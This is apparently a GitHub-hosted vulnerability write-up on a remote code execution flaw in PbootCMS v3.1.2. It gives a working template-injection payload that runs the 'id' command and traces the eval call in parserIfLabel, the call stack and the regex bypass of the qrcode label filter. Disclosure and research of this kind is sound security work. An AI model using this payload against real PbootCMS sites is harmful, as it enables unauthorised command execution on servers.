Skip to content

Latest commit

 

History

History
100 lines (70 loc) · 4.06 KB

PbootCMS v3.1.2 RCE.md

File metadata and controls

100 lines (70 loc) · 4.06 KB

PbootCMS v3.1.2 RCE

?snakin=}{pboot:if((get_lg/*-*/())/**/(get_backurl/*-*/()))}{/pboot:if}&backurl=;id

image-20220525003611932

debug:

Finally we execute the malicious code in the parserIfLabel using eval

eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

Call Stack

ParserController.php:3310, app\home\controller\ParserController->parserIfLabel()
ParserController.php:84, app\home\controller\ParserController->parserAfter()
SearchController.php:42, app\home\controller\SearchController->index()
IndexController.php:53, app\home\controller\IndexController->_empty()
2:2, core\basic\Kernel::zilvriijuizzauc606dfdd68060e63ad8f7c7ddd49b8b8()
2:2, core\basic\Kernel::run()
start.php:17, require()
index.php:23, {main}()

First bring in the payload, after rendering the template the system will load the malicious statement

image-20220524234447190

So let's follow up with the initial rendering template section

image-20220524235013077

Continue to see $content = ob_get_contents(); Here the url is output directly and then saved to $content.

image-20220524235106334

Then there is no point in filtering for keywords after that

The problem actually lies in the QR code generation function parserQrcodeLabel

image-20220525000915537

Here the content of the tag QR code is matched, and then it will generate the QR code link

image-20220525001354043

If we want to exploit this, we need to make sure that our malicious code is not matched in this step, and here we need to do a bypass of the regular

/\{pboot:qrcode(\s+[^}]+)?\}/

It is easy to see that we just need to make a closure using }

Next $content goes through a series of functions to the parserIfLabel function

We use get_lg and get_backurl functions with regular bypass to complete the RCE

Both functions are in function.php

get_lg is the field from which the cookie lg is taken

// 获取当前语言并进行安全处理Å
function get_lg()
{
    $lg = cookie('lg');
    if (! $lg || ! preg_match('/^[\w\-]+$/', $lg)) {
        $lg = get_default_lg();
        cookie('lg', $lg);
    }
    return $lg;
}

get_backurl is from get

// 获取返回URL
function get_backurl()
{
    if (! ! $backurl = get('backurl')) {
        if (isset($_SERVER["QUERY_STRING"]) && ! ! get('p')) {
            return "&backurl=" . $backurl;
        } else {
            return "?backurl=" . $backurl;
        }
    } else {
        return;
    }
}

Since the vulnerability point does not exist in search, it can be called from any interface